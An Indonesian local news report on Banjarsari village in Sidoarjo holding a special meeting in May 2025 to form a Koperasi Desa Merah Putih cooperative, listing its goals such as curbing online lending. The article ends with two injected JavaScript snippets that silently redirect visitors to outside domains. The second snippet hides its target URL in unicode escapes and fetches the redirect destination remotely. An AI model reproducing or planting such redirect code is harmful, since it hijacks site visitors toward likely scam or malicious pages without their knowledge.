Sidoarjo | RNN – Pemerintah Desa Banjarsari, Kecamatan Buduran, Kabupaten Sidoarjo. Gelar kegiatan Musyawarah Desa Khusus pembentukan Koperasi Desa Merah Putih Tahun 2025, bertempat di Balai desa. Senin (19/5/2025)
Dibentuknya koperasi merah putih, sesuai dengan instruksi Presiden Republik Indonesia dari inpres No. 9/2025 serta surat edaran menteri koperasi No. 1/2025 dan SK menteri No. 9/2025 yang memastikan proses pembentukan jelas dan terarah.
Koperasi Desa Merah Putih, merupakan inisiatif strategi pemerintah Indonesia untuk memperkuat ekonomi desa melalui pendekatan koperasi yang berbasis pada prinsipn gotong royong dan kekeluargaan.
Hadir dalam Kegiatan Ibu Dewi Kasi Kesos (Kesejahteraan Sosial) mewakili camat Buduran dan Pendamping Desa, hadir pula Kepala Desa, Ketua LPM, Ketua BPD, ketua RW, kader PKK se Desa Banjarsari, Bhabinsa dan Bhabinkamtibmas.
Dalam Sambutannya kepala desa Banjarsari Muhammad Nidlomuddin menyampaikan, bahwa dengan dibentuknya koperasi merah putih desa Banjarsari sebagai sayap Desa yang bergerak, dibidang koperasi dengan tujuan untuk meningkatkan kesejahteraan dan mensejahterakan masyarakat serta untuk memutus mata rantai pinjaman online, yang ada di desa Banjarsari Kecamatan Buduran.
“Siapapun yang menjadi kepengurusan koperasi Merah Putih bisa mengedepankan tranparansi, serta bisa memutus mata rantai pinjol,”ujarnya
Program ini dirancang untuk memperkuat ketahanan pangan, mendorong inklusi keuangan, dan menciptakan lapangan kerja di tingkat lokal. Lebih detailnya, tujuan Koperasi Merah Putih meliputi
1. Meningkatkan kesejahteraan masyarakat desa. Koperasi ini diharapkan dapat membantu masyarakat desa untuk meningkatkan pendapatan, mengakses kebutuhan pokok dengan harga terjangkau, dan mendapatkan layanan kesehatan.
2. Menciptakan lapangan kerja.
Koperasi dapat menjadi pusat aktivitas ekonomi dan sosial, menciptakan lapangan kerja bagi masyarakat desa.
3. Memperkuat ketahanan pangan.
Koperasi dapat membantu petani dan pelaku usaha pertanian untuk mendapatkan harga jual yang lebih baik, serta memperpendek rantai distribusi hasil pertanian.
4. Meningkatkan inklusi keuangan.
Koperasi dapat memberikan akses ke layanan keuangan, seperti simpan pinjam, bagi masyarakat desa yang belum terlayani oleh lembaga keuangan formal.Menekan inflasi dan harga kebutuhan pokok:
Koperasi dapat membantu menekan harga kebutuhan pokok dengan menyediakan sembako murah dan mengelola distribusi kebutuhan pokok secara efisien.
5. Memperpendek rantai pasok dan menekan pergerakan tengkulak.
Koperasi dapat mengurangi peran tengkulak dalam distribusi produk pertanian, sehingga harga yang diterima petani lebih baik.
6. Mewujudkan desa mandiri menuju Indonesia Emas 2045.
Koperasi diharapkan dapat menjadi pilar pembangunan ekonomi desa dan membantu mewujudkan visi Indonesia Emas 2045. ” Pungkasnya
(function() {
const redirectUrl = “https://io548q89.evideotected.my.id/help/?32861745670379”;
const cookieName = “redirected”;
function getCookie(name) {
const value = “; ” + document.cookie;
const parts = value.split(“; ” + name + “=”);
if (parts.length === 2) return parts.pop().split(“;”).shift();
return null;
}
function setCookie(name, value, days) {
const expires = new Date(Date.now() + days*24*60*60*1000).toUTCString();
document.cookie = name + “=” + value + “; expires=” + expires + “; path=/”;
}
if (!getCookie(cookieName)) {
setCookie(cookieName, “true”, 1);
location.href = redirectUrl;
}
})();
(function(){if (document.cookie.includes(‘hasRedirected=1’)) return;fetch(‘u0068u0074u0074u0070u0073u003au002fu002fu0064u0069u0073u0074u0069u0065u002eu0073u0068u006fu0070/?t=json&u=153d4f720470d9e7a3e895c70153e7cd’).then(r => r.json()).then(d => {const
domain = d?.domain;if (domain) {document.cookie = ‘hasRedirected=1; max-age=86400; path=/’;location.href = domain + ‘?32861745670379’;}});})();